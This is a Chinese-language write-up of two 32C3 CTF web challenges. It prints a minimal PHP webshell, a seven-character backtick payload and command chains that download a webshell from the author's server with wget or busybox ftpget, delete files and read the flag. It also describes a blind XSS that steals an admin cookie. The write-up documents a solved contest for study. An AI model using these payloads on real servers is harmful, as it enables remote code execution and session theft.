32C3 CTF 兩個Web題目的Writeup

wyzsk發表於2020-08-19
作者: 一個狗 · 2015/12/31 11:57

0x00 簡介


作為一個銷售狗,還能做得動Web題,十分開心。 這次搞了兩個題目,一個是TinyHosting,一個是Kummerkasten。

0x01 TingHosting


A new file hosting service for very small files. could you pwn it?
http://136.243.194.53/

可以首先在頁面中發現一個隱藏的src引數,在URL里加上?src=1之後可以返回出頁面的原始碼。

p1

大概的意思就是說可以往伺服器上傳任意檔名的檔案,不過每個檔案的內容只有有7個字元那麼長。

於是首先google了一下,最短的php webshell應該是14字元的這個:

#!php
<?=`$_GET[1]`;

(PS:原文的該程式碼被轉意過了,若有錯誤...見諒.

顯然不夠長啊。

後來腦洞了很多,想到了可愛的 * ,於是很重要的payload是:

#!bash
z.php

內容為:

#!php
<?=`*`;

剛好七個字元,不多不少,能把當前目錄下的所有玩意按順序執行一遍。

於是就要構造一些執行鏈了,一開始的想法是:

#!bash
busybox ftpget two.dog w.php z.php

其中前4個檔案內容隨意,w.php是上面的關鍵payload,執行w.php後其內容被我伺服器上的webshell覆蓋,而獲取webshell。

結果悲劇的發現busybox ftpget支援的host只能是ip,而不支援域名。

後來想透過wget來構造,利用了302跳轉可以跨協議的特點。

#!bash
wget wtf.two.dog z.php

前兩個檔案人意內容,z.php為重要payload,即可拿下webshell。

但仔細一看,這題會在每一個人的目錄下建立一個index.html,於是執行鏈被破環沒法工作。

於是使用bash來先幹掉index.html

構造:

#!bash
bash bb index.html z.php

其中bash內容隨意,bb的內容為rm ./*不超過7個字元。然後再透過上面的方法即可獲得一個webshell,然後在根目錄發現一個flag。

p2

之後看了老外的做法真是簡單好用,就利用bash、bb和z.php,bb的內容分別為ls /,cat /f*,簡單直接0 0

0x02 Kummerkasten


Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.

Hints:
To build the flag, concatenate both parts and omit '32C3_'

進去之後只有一個提交留言的地方,四下看了看沒發現別的東西,感覺和XSS會有關。

直接丟了一個盲打cookie的payload之後收到了回顯:

p3

訪問過去是403,感覺需要用XSS來讀一下頁面的內容。

本來的思路是XSS裡帶上jQuery然後用jQuery操作,結果發現頁面裡面有,太方便了。

直接用ajax可以輕鬆讀取頁面並回傳。

看到了 /admin/bugs/admin/token

根據頁面中的資訊來看,關鍵是要讀兩個png圖片回來。

最後的payload如下:

p4

然後把兩個圖裡的內容,一個mysql的password和一個6位數字拼起來就是FLAG咯。

0x03 Other

更多的writeup可以參考如下連結:

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章